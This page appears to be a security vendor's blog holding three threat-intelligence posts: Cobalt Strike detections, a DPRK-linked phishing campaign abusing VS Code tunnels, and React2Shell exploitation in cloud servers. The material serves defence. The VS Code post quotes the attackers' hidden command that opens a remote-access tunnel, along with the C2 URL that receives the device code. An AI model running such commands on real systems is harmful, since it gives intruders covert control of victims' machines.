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August 4, 2021

Detecting a Cobalt Strike Attack With Darktrace AI

See how Darktrace AI was able to detect Cobalt Strike attacks by identifying anomalous connections and performing automated network reconnaissance.
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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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04
Aug 2021

Since its release in 2012, Cobalt Strike has become a popular platform for red teams and ethical hackers. Robust and reliable software combined with innovative features such as DNS tunnelling, lateral movement tools for privilege escalation, and PowerShell support, have made it a desirable option for organizations wanting to test their own cyber defenses. As the framework was previously only available with a commercial license, it gave security teams a distinct advantage over threat actors when preparing for attacks.

That all changed in late 2020, when a GitHub repository appeared hosting a decompiled version of the framework. Users claimed that the leaked platform did indeed function similarly, if not identically, to the commercial version, and even included a commented-out licensing check. This suddenly made the software readily available, and highly appealing for cyber-criminals: rather than requiring a paper trail and licensing, its source code was freely available for customization and use in offensive campaigns.

With sophisticated capabilities of subtle command and control (C2), privilege escalation, and lateral movement, the tools have become a favorite for ransomware gangs. Even prior to the reporting of the leaked version, 66% of ransomware attacks were found to use Cobalt Strike.

Overview of a Cobalt Strike attack

Cobalt Strike has distinctive TTPs (tools, techniques and procedures) and evasive features for each stage of the attack.

Figure 1: Cyber kill chain with Cobalt Strike

Initial compromise can be achieved with a native module for modifying emails. This includes the insertion of malicious links into existing emails or the creation of convincing spear phishing emails.

The initial payload is intentionally lightweight and can be delivered from cheaply hosted infrastructure. The smaller file size is easier to obfuscate and can be implemented in several ways, including injection into libraries or trusted processes, or creating a series of persistence mechanisms (such as turning off anti-virus prior to downloading the full payload). As such, it is remarkably difficult to detect with blocking rules or signatures.

Network reconnaissance can be done through a variety of subtle methods, using commonly used protocols such as DNS and DCE-RPC to interrogate the network. These services are frequently used in legitimate operations, so it is challenging to apply sufficiently strict controls to prevent this stage of the attack.

Lateral movement and privilege escalation are easily accessible with pre-packaged versions of common attack tools such as Mimikatz. They can interrogate an Active Directory (AD) or steal credentials, while also using SMB pipes for peer-to-peer C2. There is little space for perimeter-based security controls to monitor and restrict these abuses, even if sufficiently granular controls could be imposed.

Payload execution is a straightforward matter as Cobalt Strike beacon allows the delivery of effectively arbitrary payloads, including portability for ransomware. As the previous evasive steps can afford the attacker privileged credentials, the deployment of such payloads could look like non-threatening administrative behavior.

AI detections

Initial compromise

Cobalt Strike has utilities for creating spear phishing documents. As email remains a prolific source of perimeter breaches, threat actors will frequently implant the tool through phishes.

One such example was detected by Darktrace’s AI at Canadian manufacturer in June 2021. The compromise started when an end user appeared to open a phishing document, evidenced by connections to Adobe and VeriSign shortly prior to an HTTP connection to a rare external IP address.

A packet capture of the anomalous connection revealed the creation of an object using a base64 encoded string – a common obfuscation technique. If the customer had been using Darktrace/Email, the threat would have been nullified before it hit the mailbox.

Shortly after the HTTP connection, Darktrace identified unusual use of SSL, which appears to have been leveraged to upgrade to HTTPS using self-signed certificates. The endpoint served an executable, which was later confirmed as a Cobalt Strike beacon based on open-source intelligence (OSINT). Such beacons are supported by the framework, with a variety of common C2 protocols available to the attacker.

Figure 2: Event log for ‘Patient Zero’ of a Sodinokibi infection

Darktrace’s detection was based on the anomalous nature of the connection (suspicious violations of standard SSL protocols) and not a pre-defined rule. The initial compromise was detected in a matter of minutes.

Network reconnaissance

In another example at a Swiss telecommunications company in April 2021, Darktrace alerted the security team that a device – normally used for data collection – was engaging in suspicious lateral movement activity.

The host was abusing privileged credentials to perform AD reconnaissance and SMB enumeration. The alert then prompted a broader investigation, revealing that multiple devices, including domain controllers, were compromised with IoCs related to Cobalt Strike.

Thanks to Darktrace’s deep understanding of the business and recognition that this behavior was anomalous, the security team were able to remediate the infection before file encryption or large data exfiltration had occurred.

Privilege escalation and ransomware deployment

In a ransomware attack against a South African insurance company in May 2021, where a phishing email resulted in the deployment of ransomware, Darktrace first identified the creation of new administrative credentials. The devices which used the credentials were then seen making anomalous connections to various C2 endpoints associated with Cobalt Strike beacons.

Darktrace enabled the rapid identification of compromised hosts, which in turn allowed for a faster remediation and mitigated fears of a resurgent infection.

Cyber AI Analyst performed a machine-speed investigation of the activity, and automatically produced a report highlighting unusual connections on TCP port 4444 as well as other mail related ports. Port 4444 is the default port for Metasploit, another hacking platform which is often seen in conjunction with Cobalt Strike beacon. It then presented the human analysts with a full list of compromised hosts.

Figure 3: Cyber AI Analyst summary of an affected host using non-standard ports for C2 and subsequently scanning the network

Cobalt Strike malware

As it appears that a cheaply accessible analog of Cobalt Strike has been leaked, detection of the framework is critical to defend against active attackers. Signatures and rule-based restrictions prove ineffective in this regard, as the framework was designed specifically to evade such tools.

Darktrace offers the capability to detect malicious activity in its earliest stages, to triage at the speed of AI, and to autonomously block the proliferation of active threats.

Thanks to Darktrace analyst Roberto Romeu for his insights on the above threat find.

Learn how Darktrace caught APT41 leveraging Cobalt Strike

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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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